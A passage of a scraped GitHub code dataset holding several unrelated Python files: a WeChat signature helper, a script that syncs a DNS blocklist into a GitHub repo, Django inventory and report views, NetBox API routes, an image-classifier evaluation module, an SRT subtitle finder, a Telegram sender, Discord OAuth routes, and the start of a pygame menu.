color_mode='rgb')\n\n\n","repo_name":"crazzle/pydata_berlin_2018","sub_path":"pipelines/helper/keras_util.py","file_name":"keras_util.py","file_ext":"py","file_size_in_byte":553,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"26"} +{"seq_id":"21778557845","text":"# -*- coding: utf-8 -*-\n'''note wechat'''\n\nimport hashlib\n\ntoken = '123456'\n\n\ndef check_signature(signature, timestamp, nonce):\n '''check_signature'''\n l = [signature, nonce, token]\n l.sort()\n s = ''.join(l)\n return hashlib.sha1(s).hexdigest() == signature\n\n\n# test xml parser\ndef xml_parser():\n data = '''\n \n \n \n %s\n \n \n \n '''\n import xml.etree.ElementTree as ET\n tree = ET.fromstring(data)\n return tree.find('ToUserName').text\n\n\nprint(xml_parser())","repo_name":"boer0924/boer-wechat","sub_path":"note.py","file_name":"note.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"1948674209","text":"import requests\nimport base64\nimport os\n\n# assigning variables\nGITHUB_API_URL = f\"https://api.github.com/repos/keanugithub/sp-filters/contents/auto_source.txt\"\nGITHUB_HEADERS = {\"Authorization\": f\"token {os.environ['SuperSecret']}\"}\nEXTERNAL_SOURCE = \"https://big.oisd.nl/dnsmasq\"\n\n# retrieve the current sha to ensure correct file update\nresponse = requests.get(GITHUB_API_URL, headers=GITHUB_HEADERS)\n\n# download the contents of the external URL source and decode to base64\nnew_contents = requests.get(EXTERNAL_SOURCE).content.decode().replace(\"server\", \"local\")\n\n# update and encode to auto_source.txt then output to GitHub\ndata = {\n \"message\": \"automatically updated\",\n \"content\": base64.b64encode(new_contents.encode()).decode(),\n \"branch\": \"main\",\n \"sha\": response.json()[\"sha\"]\n} \nrequests.put(GITHUB_API_URL, headers=GITHUB_HEADERS, json=data)\n","repo_name":"keanugithub/sp-filters","sub_path":"auto_source.py","file_name":"auto_source.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"26"} +{"seq_id":"73588975429","text":"from django.contrib.auth import logout, login\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.contrib.auth.views import LoginView\nfrom django.core import serializers\nfrom django.core.paginator import Paginator\nfrom django.db.models import Sum, Q\nfrom django.shortcuts import render, get_object_or_404, redirect\nfrom django.urls import reverse_lazy\nfrom django.views.generic import ListView, DetailView, CreateView, UpdateView, DeleteView\n\nfrom goods.forms import *\nfrom goods.models import Goods, Category\nfrom goods.utils import *\nimport json\nfrom django.http import JsonResponse, HttpResponse\n\n\ndef indexPage(request):\n return render(request,'goods/index_base.html',context={'menu_items':menu_items})\n# Create your views here.\n\nclass GoodsList(ListView):\n model = Goods\n template_name = 'goods/goods_list.html'\n context_object_name = 'content'\n\n\n\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data(**kwargs)\n context['category'] = Category.objects.all()\n context['menu_items'] = menu_items\n context['orders']=['title', 'time_add', 'cat']\n # self.model.\n order_query = self.request.GET.get('order', 'time_add')\n\n\n search_query = self.request.GET.get('search', '')\n if search_query:\n search_obj=self.model.objects.filter(Q(title__icontains=search_query) | Q(body__icontains=search_query))\n context['goods']=search_obj.order_by(order_query)\n else: context['goods'] = self.model.objects.all().order_by(order_query)\n context['order_query'] =order_query\n\n paginator = Paginator(context['goods'], 20)\n pageNumber = self.request.GET.get('page')\n page_obj = paginator.get_page(pageNumber)\n context['goods'] = page_obj\n m = 0\n if search_query:\n for s in search_obj.values('price','quantity'):\n m += s['price'] * s['quantity']\n else:\n summ = self.model.objects.values('price', 'quantity')\n for s in summ:\n m += s['price'] * s['quantity']\n\n context['summ'] = m\n context['cat_selected'] = 0\n return context\n\nclass GoodsDetails(DetailView):\n model = Goods\n template_name = 'goods/goods_detail.html'\n context_object_name = 'content'\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data(**kwargs)\n context['menu_items'] =menu_items\n context['category'] = Category.objects.all()\n return context\n\nclass TransactionAdd(CreateView):\n form_class = GoodsForm\n template_name = 'goods/goods_add.html'\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data(**kwargs)\n context['menu_items'] = menu_items\n\n return context\nclass TransactionUpdate(LoginRequiredMixin,UpdateView):\n model = Goods\n form_class = GoodsForm\n #fields = ['title','slug','body','cat','quantity','price','is_required']\n template_name_suffix = '_update_form'\nclass TransactionDelete(LoginRequiredMixin,DeleteView):\n model = Goods\n success_url = reverse_lazy('home_url')\n\nclass CategoryAdd(LoginRequiredMixin, CreateView):\n form_class = CategoryForm\n template_name = 'goods/category_add.html'\n success_url = reverse_lazy('home_url')\n\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data(**kwargs)\n context['menu_items'] = menu_items\n return context\n\nclass CategoryUpdate(LoginRequiredMixin,UpdateView):\n model = Category\n form_class = CategoryForm\n #fields = ['name', 'slug', 'body']\n template_name_suffix = '_update_form'\nclass CategoryDelete(LoginRequiredMixin,DeleteView):\n model = Category\n success_url = reverse_lazy('category_list_url')\nclass CategoryList(ListView):\n model = Category\n template_name = 'goods/category_list.html'\n context_object_name = 'content'\n def get_context_data(self, *, object_list=None, **kwargs):\n context = super().get_context_data(**kwargs)\n context['menu_items'] = menu_items\n return context\n\nclass ShowGoodsFromCat(ListMixin, ListView):\n model = Category\n template_name = 'goods/goods_list.html'\n context_object_name = 'content'\n\n def get_queryset(self):\n cat = get_object_or_404(self.model, slug__iexact=self.kwargs['slug'])\n return self.model.objects.filter(id=cat.pk)\n\nclass Registration(CreateView):\n form_class = RegisterUserForm\n template_name = 'goods/register.html'\n success_url = reverse_lazy('login')\n def form_valid(self, form):\n user = form.save()\n login(self.request,user)\n return redirect('home_url')\n\nclass LoginUser(LoginView):\n form_class = LoginUserForm\n template_name = 'goods/login.html'\n # success_url = reverse_lazy('home_url')\n def get_success_url(self):\n return reverse_lazy('home_url')\n\ndef logOutUser(request):\n logout(request)\n return redirect('login')\n\ndef indexPage(request):\n return render(request,'goods/index_base.html',context={'menu_items':menu_items})\n\n# def get_json(request,data):\n# return JsonResponse(data)\n\ndef get_report_data(request,data={'seles': 100,'costomers': 10}):\n print(data)\n # return JsonResponse(data,safe=False)\n return JsonResponse({\"models_to_return\": list(data)})\n\n\ndef generateReport(request):\n form = ReportForm\n if request.method == 'POST':\n form = ReportForm(request.POST)\n #print(form.errors)\n if form.is_valid():\n # print('DATA: ')\n data = form.cleaned_data\n if data['time_to'] < data['time_from']:\n form.add_error(None,\"Date is not correct. 'Date From' must be before 'Date To'.\")\n else:\n if data['operation'] == None:\n goods_obj = Goods.objects.filter(\n Q(time_add__gte=data['time_from']) and Q(time_add__lte=data['time_to']))\n else:\n goods_obj = Goods.objects.filter(\n (Q(time_add__gte=data['time_from']) and Q(time_add__lte=data['time_to'])),\n cat__name=data['operation'])\n\n #make json\n # obj_dict={}\n # i = 0\n # obj_dict[i] = ['', 0, []]\n #\n # for obj in goods_obj.order_by('time_add'):\n # if str(obj.time_add.date()) != obj_dict[i][0] and obj_dict[i][0] != '':\n # i += 1\n # obj_dict[i]= ['',0,[]]\n #\n # obj_dict[i][0]= str(obj.time_add.date())\n # obj_dict[i][1]+= float(obj.get_total_price())\n # obj_dict[i][2].append(obj.title)\n obj_dict=[]\n i = 0\n temp = { 'x':'', 'y': 0,'z': []}\n\n for obj in goods_obj.order_by('time_add'):\n if str(obj.time_add.date()) != temp['x'] and temp['x'] != '':\n i += 1\n temp = {'x': '', 'y': 0, 'z': []}\n temp['x'] = str(obj.time_add.date())\n temp['y'] += float(obj.get_total_price())\n temp['z'].append(obj.title)\n\n obj_dict.append(temp)\n\n # print('Data: ')\n # print(goods_obj)\n # print('To JSON: ')\n # print(obj_dict)\n\n\n #Category JSON\n # print('Data: ')\n # print(goods_obj)\n cat_dict=[]\n # i = 0\n # temp = {'category': '', 'value':[{ 'x': '', 'y': 0, 'z': []}]}\n data_labels = ['Date']\n # print('Here: ')\n cats_labels=set(goods_obj.values_list('cat__name'))\n\n # print(cats_labels)\n for label in cats_labels:\n data_labels.append(str(label).replace(\"'\",'').replace(\"(\",'').replace(\")\",'').replace(\",\",'')) #WTF???\n data_res=[]\n data_res.append(data_labels)\n data_template = [0] * len(data_labels)\n for obj in goods_obj.order_by('time_add'):\n if str(obj.time_add.date()) != data_template[0]:\n data_template = [0] * len(data_labels)\n data_template[0]= str(obj.time_add.date())\n cat_index=data_labels.index(str(obj.cat))\n data_template[cat_index]+=float(obj.get_total_price())\n data_res.append(data_template)\n print(data_res)\n\n # if temp1['category']['value']['x'] == 'hi':\n # print('That is true')\n # for obj in goods_obj.order_by('time_add'):\n # if str(obj.time_add.date()) != temp['value']['x'] and temp['value']['x'] != '' :\n # print('hello')\n chart_json = json.dumps(data_res, indent=4)\n qs_json = json.dumps(obj_dict, indent=4)\n\n context = {\n 'menu_items': menu_items,\n 'chart_data': chart_json,\n 'dataw':goods_obj,\n 'test':qs_json\n # 'test': get_report_data(request,data=goods_obj)\n }\n return render(request, 'goods/report.html',context=context)\n # print(data['time_from'], data['time_to'], data['operation'])\n\n #else:\n # form = ReportForm()\n context={\n 'menu_items':menu_items,\n 'form':form\n }\n\n return render(request, 'goods/generate_report.html',context=context)\n\n\n\n","repo_name":"ihorko95/financeManager","sub_path":"goods/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"74526561987","text":"from django.urls import path\n\nfrom netbox.api.routers import NetBoxRouter\nfrom . import views\n\n\nrouter = NetBoxRouter()\nrouter.APIRootView = views.IPAMRootView\n\nrouter.register('asns', views.ASNViewSet)\nrouter.register('asn-ranges', views.ASNRangeViewSet)\nrouter.register('vrfs', views.VRFViewSet)\nrouter.register('route-targets', views.RouteTargetViewSet)\nrouter.register('rirs', views.RIRViewSet)\nrouter.register('aggregates', views.AggregateViewSet)\nrouter.register('roles', views.RoleViewSet)\nrouter.register('prefixes', views.PrefixViewSet)\nrouter.register('ip-ranges', views.IPRangeViewSet)\nrouter.register('ip-addresses', views.IPAddressViewSet)\nrouter.register('fhrp-groups', views.FHRPGroupViewSet)\nrouter.register('fhrp-group-assignments', views.FHRPGroupAssignmentViewSet)\nrouter.register('vlan-groups', views.VLANGroupViewSet)\nrouter.register('vlans', views.VLANViewSet)\nrouter.register('service-templates', views.ServiceTemplateViewSet)\nrouter.register('services', views.ServiceViewSet)\nrouter.register('l2vpns', views.L2VPNViewSet)\nrouter.register('l2vpn-terminations', views.L2VPNTerminationViewSet)\n\napp_name = 'ipam-api'\n\nurlpatterns = [\n path(\n 'asn-ranges//available-asns/',\n views.AvailableASNsView.as_view(),\n name='asnrange-available-asns'\n ),\n path(\n 'ip-ranges//available-ips/',\n views.IPRangeAvailableIPAddressesView.as_view(),\n name='iprange-available-ips'\n ),\n path(\n 'prefixes//available-prefixes/',\n views.AvailablePrefixesView.as_view(),\n name='prefix-available-prefixes'\n ),\n path(\n 'prefixes//available-ips/',\n views.PrefixAvailableIPAddressesView.as_view(),\n name='prefix-available-ips'\n ),\n path(\n 'vlan-groups//available-vlans/',\n views.AvailableVLANsView.as_view(),\n name='vlangroup-available-vlans'\n ),\n]\n\nurlpatterns += router.urls\n","repo_name":"netbox-community/netbox","sub_path":"netbox/ipam/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1945,"program_lang":"python","lang":"en","doc_type":"code","stars":13470,"dataset":"github-code","pt":"26"} +{"seq_id":"72574572550","text":"import matplotlib.pyplot as plt\nfrom src.tools.finetune_densnet import TrainDensnet\n#from src.tools.data_split import DataSplit\nfrom torchnet.meter import ConfusionMeter\nfrom src.evaluation.plot_roc_pr import Evaluation\nfrom src.utils.geometric import check_overlapping\nfrom src.tools.data_split import DataSplit\n\nimport os\nimport copy\nimport torch\nimport pickle\nimport datetime\nimport shutil\nplt.ion() # interactive mode\n\nclass SW_Classifier():\n def __init__(self, cfg, cropsubset_data_dir=None, crop_data_dir=None,\n data_dir=None):\n self.cfg = cfg\n self.sw = cfg.SW.SWF\n self.window_avg = cfg.SW.WINDOW_AVG\n #self.write_hard = cfg.SW.WRITE_HARD_NEG\n self.crop_split = cfg.SW.CROP_SPLIT\n self.spatial_cc = cfg.SW.SPATIAL_CC\n self.pick_scores = cfg.SW.PICK_SCORES\n if cropsubset_data_dir:\n self.cropsubset_datasplit = DataSplit(cfg, data_dir=cropsubset_data_dir)\n if crop_data_dir:\n self.crop_datasplit = DataSplit(cfg, data_dir=crop_data_dir)\n if data_dir:\n self.datasplit = DataSplit(cfg, data_dir=data_dir)\n self.train_classifier = None\n if cropsubset_data_dir:\n self.train_classifier = TrainDensnet(cfg, self.cropsubset_datasplit)\n self.datasets = None\n self.__init_plots__()\n\n def assign_datasets(self, cropsubset_data_dir, crop_data_dir, data_dir):\n self.cropsubset_datasplit = DataSplit(self.cfg, data_dir=cropsubset_data_dir)\n self.crop_datasplit = DataSplit(self.cfg, data_dir=crop_data_dir)\n self.datasplit = DataSplit(self.cfg, data_dir=data_dir)\n self.train_classifier = TrainDensnet(self.cfg, self.cropsubset_datasplit)\n\n def __init_plots__(self):\n curve = plt.figure()\n self.roc_curve_plot_subset = curve.add_subplot(321)\n self.pr_curve_plot_subset = curve.add_subplot(322)\n self.roc_curve_plot_crop = curve.add_subplot(323)\n self.pr_curve_plot_crop = curve.add_subplot(324)\n self.roc_curve_plot_sw = curve.add_subplot(325)\n self.pr_curve_plot_sw = curve.add_subplot(326)\n\n\n def set_hard_neg_file(self):\n hard_neg_dir = os.path.join(*[self.crop_datasplit.data_dir,\n 'hard_neg', self.train_classifier.arch])\n if not os.path.isdir(hard_neg_dir):\n os.makedirs(hard_neg_dir)\n hard_neg_file_path = os.path.join(*[hard_neg_dir,'hard_neg'])\n if os.path.isfile(hard_neg_file_path):\n now = str(datetime.datetime.now())\n backup = hard_neg_file_path+'_backup_'+now\n shutil.copyfile(hard_neg_file_path, backup)\n os.remove(hard_neg_file_path)\n return hard_neg_file_path\n\n\n\n def write_hard_negitives(self, file_name_tup, idx_s, crop_file_names,\n file_name, hard_neg_file_path=None):\n if file_name_tup[1] == 0 and self.crop_split == 'train_val':\n with open(hard_neg_file_path, \"a\") as fp:\n for i in idx_s[0:10]:\n fp.write(crop_file_names[file_name][i]+'\\n')\n def bin_crops_results(self, crops_score, crops_label):\n image_crop_score_bins = {}\n crop_file_names = {}\n #for score, label, file_name_tup in zip(crops_score,\n #crops_label, image_datasets['test'].imgs):\n if self.crop_split == 'train':\n image_name_label_tups =\\\n self.crop_datasplit.image_datasets[self.crop_split].dataset.imgs\n else:\n image_name_label_tups =\\\n self.crop_datasplit.image_datasets[self.crop_split].imgs\n\n for score, label, file_name_tup in \\\n zip(crops_score, crops_label,\n image_name_label_tups):\n file_dir, crop_file_name = os.path.split(file_name_tup[0])\n crop_file_name, ext = os.path.splitext(crop_file_name)\n file_name = crop_file_name\n if self.sw:\n crop_file_name_parts = crop_file_name.split('_')\n file_name = '_'.join(crop_file_name_parts[:-4])\n #add extra logic here\n if file_name not in crop_file_names:\n crop_file_names[file_name] = []\n crop_file_names[file_name].append(crop_file_name)\n if file_name not in image_crop_score_bins:\n image_crop_score_bins[file_name] = []# {}\n #if label not in image_crop_score_bins[file_name]:\n image_crop_score_bins[file_name] =\\\n copy.deepcopy(score.unsqueeze(0))\n else:\n image_crop_score_bins[file_name] =\\\n torch.cat((image_crop_score_bins[file_name],\n score.unsqueeze(0)), 0)\n return image_crop_score_bins, crop_file_names\n\n def add_to_connected_group(self, score, crop_name, groups={},\n groups_score={}):\n #def check_spatial_connectivity(groups, crop_name):\n def crop_name_to_coor(name):\n coor = name.split('_')[-4:]\n coor = [int(val) for val in coor]\n coor[2] = coor[2] + coor[0]\n coor[3] = coor[3] + coor[1]\n coor[0] = coor[0] - 10\n coor[1] = coor[1] - 10\n coor[2] = coor[2] + 10\n coor[3] = coor[3] + 10\n return coor\n\n group_id = 0\n for group_id in groups:\n for member_name in groups[group_id]:\n memeber_coor = crop_name_to_coor(member_name)\n crop_coor = crop_name_to_coor(crop_name)\n overlap, _ = check_overlapping(memeber_coor, crop_coor)\n if overlap:\n groups[group_id].append(crop_name)\n #if score[1] > groups_score[group_id][0, 1]:\n sum_row = groups_score[group_id] + score.unsqueeze(0)\n #groups_score[group_id] = score.unsqueeze(0)\n groups_score[group_id] = sum_row #score.unsqueeze(0)\n return groups, groups_score\n groups[group_id+1] = [crop_name]\n groups_score[group_id+1] = score.unsqueeze(0)\n return groups, groups_score\n\n def pick_largest_group(self, groups, groups_score):\n max_num = 0\n max_group_id = 0\n max_score = torch.zeros([1, 2])\n num_largest_group = 0\n for group_id in groups:\n mems = groups[group_id]\n score = groups_score[group_id]\n #mem_nums = [len(mem) for mem in mems]\n if len(mems) > max_num :\n max_num = len(mems)\n max_group_id = group_id\n max_score = score\n num_largest_group = 1\n if len(mems) == max_num :\n max_score += score #scores core[0, 1]>max_score[0, 1]\n num_largest_group += 1\n max_score = max_score/num_largest_group\n #image_score = max_score/max_num #groups_score[max_group_id]/max_num\n return max_score#.unsqueeze(0)\n\n def cal_cc_score(self, idx_s, score, file_name, crop_file_names, groups,\n groups_score):\n for i in idx_s[0:self.window_avg]:\n\n groups, groups_score =\\\n self.add_to_connected_group(score[i],\n crop_file_names[file_name][i],\n groups, groups_score)\n\n return self.pick_largest_group(groups, groups_score)\n\n def cal_whole_image_score(self, idx_s, score, file_name, crop_file_names):\n groups = {}\n groups_score = {}\n if self.spatial_cc:\n score_com =\\\n self.cal_cc_score(idx_s, score, file_name,\n crop_file_names, groups, groups_score)\n else:\n score_com =\\\n score[idx_s[0:self.window_avg]].sum(0).unsqueeze(0)/self.window_avg\n return score_com\n\n def define_image_level_score(self, image_crop_score_bins, crop_file_names):\n images_score = None# torch.zeros(len(image_datasets['test'].imgs), 2).cuda()\n images_label = None #torch.LongTensor(len(image_datasets['test'].imgs)).cuda()\n if self.crop_split == 'train':\n image_name_label_tups =\\\n self.datasplit.image_datasets[self.crop_split].dataset.imgs\n\n\n else:\n if self.crop_split == 'train_val':\n hard_neg_file_path = self.set_hard_neg_file()\n else:\n hard_neg_file_path = None\n image_name_label_tups =\\\n self.datasplit.image_datasets[self.crop_split].imgs\n\n confusion_matrix = ConfusionMeter(self.datasplit.num_classes,\n normalized=True)\n for idx, file_name_tup in enumerate(image_name_label_tups):\n file_dir, file_name = os.path.split(file_name_tup[0])\n file_name, ext = os.path.splitext(file_name)\n if file_name in image_crop_score_bins:\n score = image_crop_score_bins[file_name]\n val_s, idx_s = score[:,1].sort(descending=True)\n image_score = self.cal_whole_image_score(idx_s, score, file_name,\n crop_file_names)\n\n if images_score is None:\n images_score = image_score\n images_label = torch.LongTensor([file_name_tup[1]])\n else:\n images_score = torch.cat((images_score, image_score))\n images_label = torch.cat((images_label,\n torch.LongTensor([file_name_tup[1]])))\n\n self.write_hard_negitives(file_name_tup, idx_s,\n crop_file_names, file_name, hard_neg_file_path)\n else:\n print(\"File name missing from bins\")\n\n confusion_matrix.add(images_score, images_label)\n\n print(confusion_matrix.conf)\n return images_score, images_label, confusion_matrix\n\n def plot_results(self, crop_labels, crop_scores, crop_cm,\n image_labels, image_scores, whole_img_cm, colors):\n evaluation = Evaluation(self.crop_datasplit.classes_name,\n crop_labels, crop_scores, crop_cm,\n self.roc_curve_plot_crop,\n self.pr_curve_plot_crop,\n colors, 'Crop Test Set complete')\n evaluation.plot_results()\n evaluation = Evaluation(self.crop_datasplit.classes_name,\n image_labels, image_scores, whole_img_cm,\n self.roc_curve_plot_sw,\n self.pr_curve_plot_sw,\n colors, 'Whole Image')\n evaluation.plot_results()\n\n def get_pick_path(self):\n pick_dir = os.path.join(*[self.crop_datasplit.data_dir,\n 'scores_labels', self.train_classifier.arch],\n self.crop_split)\n if not os.path.isdir(pick_dir):\n os.makedirs(pick_dir)\n score_pick_path = os.path.join(*[pick_dir,'score.p'])\n label_pick_path = os.path.join(*[pick_dir,'label.p'])\n return score_pick_path, label_pick_path\n\n def write_matrix(self, scores, labels):\n def write(pick_path, obj):\n with open(pick_path, 'wb') as fp:\n pickle.dump(obj, fp)\n\n score_pick_path, label_pick_path = self.get_pick_path()\n write(score_pick_path, scores)\n write(label_pick_path, labels)\n\n def read_matrix(self):\n def read(path):\n with open(path, 'rb') as fp:\n obj = pickle.load(fp)\n return obj\n score_pick_path, label_pick_path = self.get_pick_path()\n scores = read(score_pick_path)\n labels = read(label_pick_path)\n return scores, labels\n\n\n\n def one_vs_all_sw(self, best_model_path, colors):\n assert self.train_classifier, \"Datasets are not assigned\"\n if not self.pick_scores:\n crop_labels, crop_scores, crop_cm =\\\n self.train_classifier.test_model(best_model_path, self.crop_datasplit, self.crop_split)\n self.write_matrix(crop_scores, crop_labels)\n else:\n crop_scores, crop_labels = self.read_matrix()\n crop_cm = None\n\n image_crop_score_bins, crop_file_names =\\\n self.bin_crops_results(crop_scores, crop_labels)\n\n image_scores, image_labels, whole_img_cm =\\\n self.define_image_level_score(image_crop_score_bins, crop_file_names)\n\n self.plot_results(crop_labels, crop_scores, crop_cm,\n image_labels, image_scores, whole_img_cm, colors)\n\n def one_vs_all_train(self, colors, best_model_path=None):\n assert self.train_classifier, \"Datasets are not assigned\"\n if not best_model_path:\n best_model_path = self.train_classifier.finetune_model_fun()\n labels, scores, cm = self.train_classifier.test_model(best_model_path)\n evaluation = Evaluation(self.cropsubset_datasplit.classes_name,\n labels, scores, cm,\n self.roc_curve_plot_subset,\n self.pr_curve_plot_subset,\n colors, 'Crop Test Set Subset')\n evaluation.plot_results()\n return best_model_path\n","repo_name":"deepaksharma36/Invasive_Plants_Detector","sub_path":"python/src/tools/sw_classifier.py","file_name":"sw_classifier.py","file_ext":"py","file_size_in_byte":13490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"14735441261","text":"from django.urls import path\nfrom . import views\n\napp_name = 'online_course'\n\nurlpatterns = [\n path('courses/', views.CourseListCreateApiView.as_view()),\n path('courses//', views.CourseRetrieveUpdateDestroyApiView.as_view()),\n\n path('content/', views.ContentCreateApiView.as_view()),\n path('content//', views.ContentRetrieveUpdateDestroy.as_view()),\n\n # path('course-registeration/',\n # views.CourseRegistrationListCreateApiView.as_view()),\n path('course-registeration/',\n views.CourseBuyApiView.as_view()),\n path('course-registeration//',\n views.CourseRegistrationRetrieveUpdateDestroyApiView.as_view()),\n\n path('s/course/', views.AllCoursesListApiView.as_view()),\n\n path('return//', views.paypal_return, name='paypal return'),\n path('cancel//', views.paypal_cancel, name='paypal cancel'),\n\n]\n","repo_name":"MohammedMusaddiq/onlineCoursePlatformV2","sub_path":"online_course/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"26"} +{"seq_id":"17756453705","text":"#!/usr/bin/python3\n\n\"\"\"Find subtitles by timestamp.\"\"\"\n\nimport datetime\nimport logging\nimport srt\nfrom types import GeneratorType\nfrom . import _cli\nfrom . import _utils\n\n\nlog = logging.getLogger(__name__)\n\n\ndef find_by_timestamp(\n subs,\n timestamp_one=datetime.timedelta(0),\n timestamp_two=datetime.timedelta(0),\n adjust=False,\n):\n \"\"\"\n Finds subtitles from subtitles by timestamp.\n When timestamp one > timestamp two, subtitles up to timestamp two and\n subtitles after timestamp one will be found.\n\n :param subs: :py:class:`Subtitle` objects\n :param datetime.timedelta timestamp_one: The timestamp to find from.\n :param datetime.timedelta timestamp_two: The timestamp to find to.\n :param boolean adjust: Whether to adjust the timestamps of found subtitles.\n :rtype: :term:`generator` of :py:class:`Subtitle` objects\n \"\"\"\n # ensure subs is iterable\n subs = (x for x in subs) if not isinstance(subs, GeneratorType) else subs\n\n # Split the subtitle at the start and end of the block(s).\n subs = srt.tools.split.split(subs, timestamp_one)\n subs = srt.tools.split.split(subs, timestamp_two)\n\n # edge cases\n subtitle = _utils.tryNext(subs)\n sequential = timestamp_one < timestamp_two\n if subtitle is None or (sequential and timestamp_two <= subtitle.start):\n return\n\n # Find the subtitles using a generator.\n idx = 1\n adjust_time = timestamp_one if adjust else datetime.timedelta(0)\n while subtitle is not None:\n start = subtitle.start\n\n if (\n timestamp_one == timestamp_two\n or (sequential and timestamp_one <= start and start < timestamp_two)\n or (not sequential and (start < timestamp_two or timestamp_one <= start))\n ):\n yield srt.Subtitle(\n idx,\n subtitle.start - adjust_time,\n subtitle.end - adjust_time,\n subtitle.content,\n )\n idx += 1\n\n subtitle = _utils.tryNext(subs)\n\n\n# Command Line Interface\ndef set_args():\n examples = {\n \"Find subtitles from :05 - :08\": \"srt find -i example.srt -s 00:00:5,00 -e 00:00:8,00\",\n \"Find subtitles from :00 - :05 and :08 onwards\": \"srt find -i example.srt -s 00:00:8,00 -e 00:00:5,00\",\n \"Find subtitles from :00 - :16 and adjust the timestamps of found subtitles\": \"srt find -i example.srt -e 00:00:16,00\",\n \"Find subtitles from :16 onwards and zero the block.\": \"srt find -i example.srt -s 00:00:16,00 -a\",\n \"Find every subtitle\": \"srt find -i example.srt\",\n }\n parser = _cli.basic_parser(description=__doc__, examples=examples)\n parser.add_argument(\n \"--start\",\n \"-s\",\n metavar=(\"TIMESTAMP\"),\n type=lambda arg: srt.srt_timestamp_to_timedelta(arg),\n default=datetime.timedelta(0),\n nargs=\"?\",\n help=\"The timestamp to start removing from.\",\n )\n parser.add_argument(\n \"--end\",\n \"-e\",\n metavar=(\"TIMESTAMP\"),\n type=lambda arg: srt.srt_timestamp_to_timedelta(arg),\n default=datetime.timedelta(0),\n nargs=\"?\",\n help=\"The timestamp to stop removing at.\",\n )\n parser.add_argument(\n \"--adjust\",\n \"-a\",\n action=\"store_true\",\n help=\"Adjust the timestamps of subtitles by placing the first found subtitle at 00:00.\",\n )\n return parser.parse_args()\n\n\ndef main():\n args = set_args()\n logging.basicConfig(level=args.log_level)\n _cli.set_basic_args(args)\n found_subs = find_by_timestamp(args.input, args.start, args.end, args.adjust)\n output = _cli.compose_suggest_on_fail(found_subs, strict=args.strict)\n args.output.write(output)\n\n\nif __name__ == \"__main__\": # pragma: no cover\n main()\n","repo_name":"switchupcb/srt3","sub_path":"srt/tools/find.py","file_name":"find.py","file_ext":"py","file_size_in_byte":3767,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"26"} +{"seq_id":"6956935045","text":"import requests\n\ndef send_telegram(message, token, chat_id):\n url = f\"https://api.telegram.org/bot{token}/sendMessage?chat_id={chat_id}&text={message}\"\n resp = requests.get(url).json()\n return resp\n \ndef send_photos(file, token, chat_id):\n method = \"sendPhoto\"\n params = {'chat_id': chat_id}\n files = {'photo': file}\n url = f\"https://api.telegram.org/bot{token}/\"\n resp = requests.post(url + method, params, files=files)\n \n return resp\n","repo_name":"Brent-Murray/TR3D_PointAugDGCNN","sub_path":"utils/send_telegram.py","file_name":"send_telegram.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"26"} +{"seq_id":"26796672140","text":"from flask import Blueprint, g, current_app, session, jsonify, redirect, request\nfrom requests_oauthlib import OAuth2Session\n\nfrom rowboat.models.user import User\nfrom rowboat.util.decos import authed\n\nauth = Blueprint('auth', __name__, url_prefix='/api/auth')\n\n\ndef token_updater(token):\n pass\n\n\ndef make_discord_session(token=None, state=None, scope=None):\n return OAuth2Session(\n client_id=current_app.config['DISCORD_CLIENT_ID'],\n token=token,\n state=state,\n scope=scope,\n redirect_uri=current_app.config['DISCORD_REDIRECT_URI'],\n auto_refresh_kwargs={\n 'client_id': current_app.config['DISCORD_CLIENT_ID'],\n 'client_secret': current_app.config['DISCORD_CLIENT_SECRET'],\n },\n auto_refresh_url=current_app.config['DISCORD_TOKEN_URL'],\n token_updater=token_updater)\n\n\n@auth.route('/logout', methods=['POST'])\n@authed\ndef auth_logout():\n g.user = None\n return jsonify({})\n\n\n@auth.route('/discord')\ndef auth_discord():\n discord = make_discord_session(scope=('identify', ))\n auth_url, state = discord.authorization_url(current_app.config['DISCORD_AUTH_URL'])\n session['state'] = state\n return redirect(auth_url)\n\n\n@auth.route('/discord/callback')\ndef auth_discord_callback():\n if request.values.get('error'):\n return request.values['error']\n\n if 'state' not in session:\n return 'no state', 400\n\n discord = make_discord_session(state=session['state'])\n token = discord.fetch_token(\n current_app.config['DISCORD_TOKEN_URL'],\n client_secret=current_app.config['DISCORD_CLIENT_SECRET'],\n authorization_response=request.url)\n\n discord = make_discord_session(token=token)\n\n data = discord.get(current_app.config['DISCORD_API_BASE_URL'] + '/users/@me').json()\n user = User.with_id(data['id'])\n\n if not user:\n return 'Unknown User', 403\n\n # if not user.admin:\n # return 'Invalid User', 403\n\n g.user = user\n\n return redirect('/')\n\n\n@auth.route('/@me')\n@authed\ndef auth_me():\n return jsonify(g.user)\n","repo_name":"b1naryth1ef/rowboat","sub_path":"rowboat/views/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":118,"dataset":"github-code","pt":"26"} +{"seq_id":"6982239870","text":"from states.state import State\nfrom states.controls import Controls\nfrom states.planet_creation import PlanetCreation\nfrom objects.celestial_body import CelestialBody\nimport pygame, os, json\n\nclass PauseMenu(State):\n def __init__(self, game):\n self.game = game\n State.__init__(self, game)\n self.menu_img = pygame.Surface((self.game.DISPLAY_W *.3, self.game.DISPLAY_H*.7))\n self.menu_img.fill(\"white\")\n 